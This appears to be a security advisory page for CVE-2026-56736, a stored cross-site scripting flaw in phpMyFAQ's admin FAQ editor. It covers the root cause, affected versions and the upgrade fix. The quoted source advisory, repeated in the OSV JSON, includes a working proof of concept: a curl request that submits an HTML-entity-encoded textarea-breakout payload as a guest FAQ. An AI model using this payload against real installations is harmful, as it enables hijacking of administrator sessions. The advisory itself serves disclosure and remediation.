CVE-2026-56736: Thorsten/phpmyfaq Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-pgwp-vc7q-cvj3
CVSS 8.2
CWE-79
Published
Advisory Summary

CVE-2026-56736 is a HIGH (CVSS 8.2) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq has stored xss in admin faq editor via html entity bypass in frontend faq submission. Remediation is available by upgrading affected packages to version 4.2.0-alpha.

CVE-2026-56736 at a Glance

CVE Identifier CVE-2026-56736
GHSA Identifier GHSA-pgwp-vc7q-cvj3
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Thorsten/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-56736

To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.2.0-alpha
Upgrade thorsten/phpmyfaq to 4.2.0-alpha
phpmyfaq/phpmyfaq fixed: 4.2.0-alpha
Upgrade phpmyfaq/phpmyfaq to 4.2.0-alpha
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-56736, inspect your project dependencies for Thorsten/phpmyfaq:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.0-alpha), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because `html_entity_decode()` converts HTML entities into executable HTML after `strip_tags()` has already passed them through, and the admin template renders the content with Twig's `|raw` filter without any output sanitization. ### Details **Vulnerable file:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php` (lines 109-115) ```php $answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS); if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) { $answer = trim(html_entity_decode((string) $answer)); } ``` **Root cause:** `Filter::filterVar()` with `FILTER_SANITIZE_SPECIAL_CHARS` internally calls `filterSanitizeString()` which applies `strip_tags()` to remove HTML tags. However, `strip_tags()` only removes **actual HTML tag syntax** (e.g., `<script>`) — it does NOT remove **HTML entities** (e.g., `&lt;script&gt;`). When `enableWysiwygEditorFrontend` is `true`, `html_entity_decode()` is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database. **Vulnerable sink (admin template):** `phpmyfaq/assets/templates/admin/content/faq.editor.twig` (line 127) ```twig <textarea id="editor" name="answer" class="form-control" rows="7" placeholder="{{ 'msgAnswer' | translate }}" >{{ faqData['content'] | raw }}</textarea> ``` The admin FAQ editor controller (`Administration/FaqController.php`) loads the FAQ content directly from the database and passes it to the template without sanitization: ```php $this->faq->getFaq($faqId, null, true); $faqData = $this->faq->faqRecord; // Raw content from DB ``` **Note:** The public-facing FAQ view IS properly sanitized via `FaqHelper::cleanUpContent()` which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable. ### PoC **Prerequisites:** - `main.enableWysiwygEditorFrontend` = `true` (non-default, but commonly enabled for rich-text user FAQ contributions) - `records.allowNewFaqsForGuests` = `true` (DEFAULT value — guests can submit FAQs) - At least one FAQ category must exist **Step 1: Inject XSS payload as unauthenticated guest** ```bash curl -X POST https://TARGET/api/faq/create \ -H 'Content-Type: application/json' \ -d '{ "name": "Legitimate User", "email": "user@example.com", "question": "How to configure SMTP settings?", "answer": "&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;", "lang": "en", "keywords": "smtp email", "rubrik": ["1"], "captcha": "<valid-captcha-or-empty-if-disabled>" }' ``` Response: `{"success":"Thank you for your suggestion!"}` **Processing trace:** 1. Input answer: `&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;` 2. `filterSanitizeString()` → `strip_tags()` finds no actual `<tag>` syntax → string passes through unchanged 3. `html_entity_decode()` converts entities → `</textarea><img src=x onerror=alert(document.domain)><textarea>` 4. Stored in database as raw executable HTML **Step 2: Admin triggers XSS by reviewing the submitted FAQ** When an administrator navigates to edit the submitted FAQ entry: ``` GET /admin/faq/edit/{faqId}/{lang} ``` The admin template renders: ```html <textarea id="editor" name="answer" class="form-control" rows="7" placeholder="Answer" ></textarea><img src=x onerror=alert(document.domain)><textarea></textarea> ``` The `</textarea>` breaks out of the editor textarea element, and the `<img onerror=...>` executes JavaScript immediately in the admin's browser context. <img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" /> **Note:** For logged-in users submitting FAQs, the captcha check is automatically bypassed (`BuiltinCaptcha::checkCaptchaCode()` returns `true` when user is logged in). ### Impact - **Stored XSS targeting administrators** — every FAQ submission is reviewed by an admin, guaranteeing payload delivery - **Admin account takeover** — attacker can steal session cookies, create new admin accounts, or modify system configuration - **No special privileges required** — default configuration allows guest FAQ submissions (`records.allowNewFaqsForGuests` = `true`) - **Public view is unaffected** — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable

CVE-2026-56736 Affected Thorsten/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.2.0-alpha
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
< 4.2.0-alpha
4.2.0-alpha
phpmyfaq/phpmyfaq
Packagist
< 4.2.0-alpha
4.2.0-alpha

References

Frequently Asked Questions

What is CVE-2026-56736?
CVE-2026-56736 is a security vulnerability in Thorsten/phpmyfaq involving phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Thorsten/phpmyfaq versions are affected?
Affected versions include releases prior to 4.2.0-alpha across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes CVE-2026-56736?
Upgrading to 4.2.0-alpha (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.2.0-alpha. Upgrade your dependency to 4.2.0-alpha or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.2.0-alpha. Upgrade your dependency to 4.2.0-alpha or later.
What is the CVSS score of CVE-2026-56736?
CVE-2026-56736 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-56736?
CVE-2026-56736 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-56736?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pgwp-vc7q-cvj3",
  "modified" : "2026-09-24T19:28:44Z",
  "published" : "2026-09-24T19:28:43Z",
  "aliases" : [ "CVE-2026-56736" ],
  "summary" : "phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission",
  "details" : "### Summary\nA stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because `html_entity_decode()` converts HTML entities into executable HTML after `strip_tags()` has already passed them through, and the admin template renders the content with Twig's `|raw` filter without any output sanitization.\n\n### Details\n**Vulnerable file:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php` (lines 109-115)\n\n```php\n$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);\nif ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {\n    $answer = trim(html_entity_decode((string) $answer));\n}\n```\n\n**Root cause:**\n\n`Filter::filterVar()` with `FILTER_SANITIZE_SPECIAL_CHARS` internally calls `filterSanitizeString()` which applies `strip_tags()` to remove HTML tags. However, `strip_tags()` only removes **actual HTML tag syntax** (e.g., `<script>`) — it does NOT remove **HTML entities** (e.g., `&lt;script&gt;`).\n\nWhen `enableWysiwygEditorFrontend` is `true`, `html_entity_decode()` is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.\n\n**Vulnerable sink (admin template):** `phpmyfaq/assets/templates/admin/content/faq.editor.twig` (line 127)\n\n```twig\n<textarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n          placeholder=\"{{ 'msgAnswer' | translate }}\"\n>{{ faqData['content'] | raw }}</textarea>\n```\n\nThe admin FAQ editor controller (`Administration/FaqController.php`) loads the FAQ content directly from the database and passes it to the template without sanitization:\n\n```php\n$this->faq->getFaq($faqId, null, true);\n$faqData = $this->faq->faqRecord; // Raw content from DB\n```\n\n**Note:** The public-facing FAQ view IS properly sanitized via `FaqHelper::cleanUpContent()` which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.\n\n\n### PoC\n**Prerequisites:**\n- `main.enableWysiwygEditorFrontend` = `true` (non-default, but commonly enabled for rich-text user FAQ contributions)\n- `records.allowNewFaqsForGuests` = `true` (DEFAULT value — guests can submit FAQs)\n- At least one FAQ category must exist\n\n**Step 1: Inject XSS payload as unauthenticated guest**\n\n```bash\ncurl -X POST https://TARGET/api/faq/create \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"name\": \"Legitimate User\",\n    \"email\": \"user@example.com\",\n    \"question\": \"How to configure SMTP settings?\",\n    \"answer\": \"&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;\",\n    \"lang\": \"en\",\n    \"keywords\": \"smtp email\",\n    \"rubrik\": [\"1\"],\n    \"captcha\": \"<valid-captcha-or-empty-if-disabled>\"\n  }'\n```\n\nResponse: `{\"success\":\"Thank you for your suggestion!\"}`\n\n**Processing trace:**\n1. Input answer: `&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;`\n2. `filterSanitizeString()` → `strip_tags()` finds no actual `<tag>` syntax → string passes through unchanged\n3. `html_entity_decode()` converts entities → `</textarea><img src=x onerror=alert(document.domain)><textarea>`\n4. Stored in database as raw executable HTML\n\n**Step 2: Admin triggers XSS by reviewing the submitted FAQ**\n\nWhen an administrator navigates to edit the submitted FAQ entry:\n```\nGET /admin/faq/edit/{faqId}/{lang}\n```\n\nThe admin template renders:\n```html\n<textarea id=\"editor\" name=\"answer\" class=\"form-control\" rows=\"7\"\n          placeholder=\"Answer\"\n></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>\n```\n\nThe `</textarea>` breaks out of the editor textarea element, and the `<img onerror=...>` executes JavaScript immediately in the admin's browser context.\n\n<img width=\"1387\" height=\"562\" alt=\"admin stored xss alert poc\" src=\"https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a\" />\n<img width=\"1393\" height=\"805\" alt=\"admin stored xss poc\" src=\"https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333\" />\n\n\n**Note:** For logged-in users submitting FAQs, the captcha check is automatically bypassed (`BuiltinCaptcha::checkCaptchaCode()` returns `true` when user is logged in).\n\n\n### Impact\n- **Stored XSS targeting administrators** — every FAQ submission is reviewed by an admin, guaranteeing payload delivery\n- **Admin account takeover** — attacker can steal session cookies, create new admin accounts, or modify system configuration\n- **No special privileges required** — default configuration allows guest FAQ submissions (`records.allowNewFaqsForGuests` = `true`)\n- **Public view is unaffected** — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.2.0-alpha"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.2.0-alpha"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pgwp-vc7q-cvj3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-56736"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/24b68068747ad632398e3b3bab2989e76e43ef82"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/releases/tag/4.2.0-alpha"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T19:28:43Z",
    "nvd_published_at" : "2026-09-24T15:17:24Z"
  }
}